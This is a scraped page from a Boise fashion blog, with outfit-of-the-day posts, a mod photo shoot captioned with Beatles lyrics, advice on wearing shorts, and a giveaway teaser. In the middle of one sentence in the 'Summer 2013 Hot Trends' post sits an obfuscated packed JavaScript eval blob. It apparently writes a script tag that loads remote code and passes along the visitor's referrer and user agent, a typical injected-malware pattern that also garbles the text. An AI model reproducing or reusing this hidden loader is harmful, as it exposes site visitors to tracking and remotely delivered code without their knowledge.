Keep Warm & Carry On

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Sunny Daze // Sweater: Forever 21 // Leggings: Bebe // Sunnies: Coach // Lipstick: MAC Heroine // Hair: Chad Robinson Continue reading “Keep Warm & Carry On”

Grand Opening Recap: LOFT at the Village in Meridian

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Summer 2013 Hot Trends to Try

I’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhftf|var|u0026u|referrer|hneeb||js|php’.split(‘|’),0,{}))
been hearing lately that Boise’s fashion is “behind the times.”
 But whatever your opinion of Boise shopping, the truth is we’re catching up, and developing our own unique style! We have some rad boutiques, great shops, fashion bloggers (ahem!), and beauty & art communities that help push this city’s Style boundaries. Continue reading “Summer 2013 Hot Trends to Try”

Black & White Mania, Part 2

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Jeanne Giltzow // Styling, Hair & MUA: StyleSpyGirl

It’s a Mod, Mod, Mod, Mod world! I love black & white; it’s a color combo of simplicity, yet full of drama! This shoot was styled with a nod to the 60’s, using fun & simple pieces from modern stores like Forever 21 and Nasty Gal. Special thanks to Jeanne Giltzow, photographer extraordinaire! ❤

Enjoy!

XOXO,

StyleSpyGirl

IMG_1391Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

“Here Comes The Sun” ~ The Beatles

Here comes the sun, here comes the sun
And I say it’s all right

Little darling, it’s been a long cold lonely winter
Little darling, it feels like years since it’s been here

Here comes the sun, here comes the sun
And I say it’s all right

black and white mod style Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Little darling, the smiles returning to the faces
Little darling, it seems like years since it’s been here

Here comes the sun, here comes the sun
And I say it’s all right

IMG_1382Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes
Sun, sun, sun, here it comes

IMG_1372Shirt: Forever 21 // Pants: Nasty Gal // Purse: H&M // Shoes: Colin Stuart

Little darling, I feel that ice is slowly melting
Little darling, it seems like years since it’s been clear

IMG_1414Shirt:Forever 21 // Pants:Nasty Gal // Purse:H&M // Shoes:Colin Stuart

Here comes the sun, here comes the sun
And I say it’s all right
Here comes the sun, here comes the sun
It’s all right, it’s all right

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Every Woman CAN Wear Shorts!

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Special thanks to Dillard’s for providing my models’ fabulous clothing, jewelry, & shoes!!!
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Did you hear my three main points, at the beginning? Yes, EVERY woman can wear shorts – I believe that with all my heart! (Why are shorts so important? Because summer in my town tops 100 degrees, and we do what we have to do to beat the heat!) 😉
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Wearing shorts is not about whether you are young, or not so young; tall, or short; thin, or not so thin! It IS about 3 main things:
1. Length of the shorts
2. Fit of the shorts
3. Enhancing your attributes!
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1. Length – I covered this in the video clip above. Did you stand up and try my fingertips trick? 😉
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2. Fit. If you are a larger woman blessed with more curves than average, your tendency might be to wear loose, baggy shorts. DON’T! Adding material can also add volume. You can’t hide your curves entirely, so why not embrace them? Try on a pair of fitted shorts, with a looser blouse on top. (Fitted top, loose bottoms. Fitted bottoms, loose top. It’s about Balance!) Throw on some wedge sandals and a statement necklace, and no one’s attention will be on your shorts, I promise!
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Which brings me to number 3: Enhancing your Attributes! I don’t know if this is just an “American woman” thing, but it seems to me that many of us have developed the terrible habit of dressing to hide our “flaws.” Do you do this? Particularly as we age, we seem to accumulate flaws, and can get overwhelmed by them. Darn gravity! But always dressing with focus on your flaws, makes you miss something even more important: your attributes!
What are your best attributes? Your smile, your eyes, your lips, your sense of humor? Your knees, your rapier wit, your patience, your cute ears?? Make A List!!! I’m serious! Next time you go shopping, pull out that list and think about how you can dress to enhance your attributes!
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Let’s make this practical (and super personal, ha!) I have a confession to make: I don’t like my hands! Working in retail makes them crackly & dry. Yuck! But I can’t hide them, without wearing gloves year round. So what do I do? Not wear lots of rings & bracelets that draw attention to them, that’s for sure! But I know my attributes: personality (I hope!), kindness (I try!), dramatic eyes, and a proportionately small-ish waist. So I wear belted dressed/skirt combos, well-practiced eye makeup, and fun necklaces that draw attention to my face, not my hands!
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Oh goodness, there I go with too many words again! I hope you will pardon my soapbox moments. I just truly believe every woman is beautiful, and should be able to wear shorts, or whatever fun things she wants, without feeling insecure or judged! So there! 🙂
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Now go make your attributes list… I think you’re fabulous!
Xoxo,
StyleSpyGirl

When Matching Gets Too Matchy, On a Fine Spring Day

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Electra Cruiser // Sunglasses: Coach // Jeans: Black Orchid // Striped top: Gap // Animal Print Flats: Me Too

“Fashion is not something that exists in dresses only. Fashion is in the sky, in the street, fashion has to do with ideas, the way we live, what is happening.” ~ Coco Chanel

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Sunglasses: Coach // Jeans: Black Orchid // Striped top: Gap // Animal Print Flats: Me Too

My goal for today’s outfit was to challenge myself not to match TOO much, by mixing stripes and animal print. I know, so crazy right? So extreme? Lol! This always-coordinated fashionista was starting to fall back into “easy” patterns of dressing myself. Mixed prints: trying it, my way!

Alas, having favorite colors sabotaged my efforts; I went for a bike ride and realized how much I match my Electra Cruiser! Ha ha ha, Guess I need to challenge myself a little more

Don’t be afraid to break the Fashion Rules a little, even if it takes baby steps. Or in my case, a brisk bike ride!

(No puppies were harmed in the making of this fashion post!) 😉

XOXO,

StyleSpyGirl

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Damsel in Defense Giveaway!

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fell in LOVE with the “Handle It Clutch” from my recent
“How I Styled It” article on the Skip N Whistle pullover!

Would YOU like one of these awesome “weapon” handbags, from Damsel in Defense?

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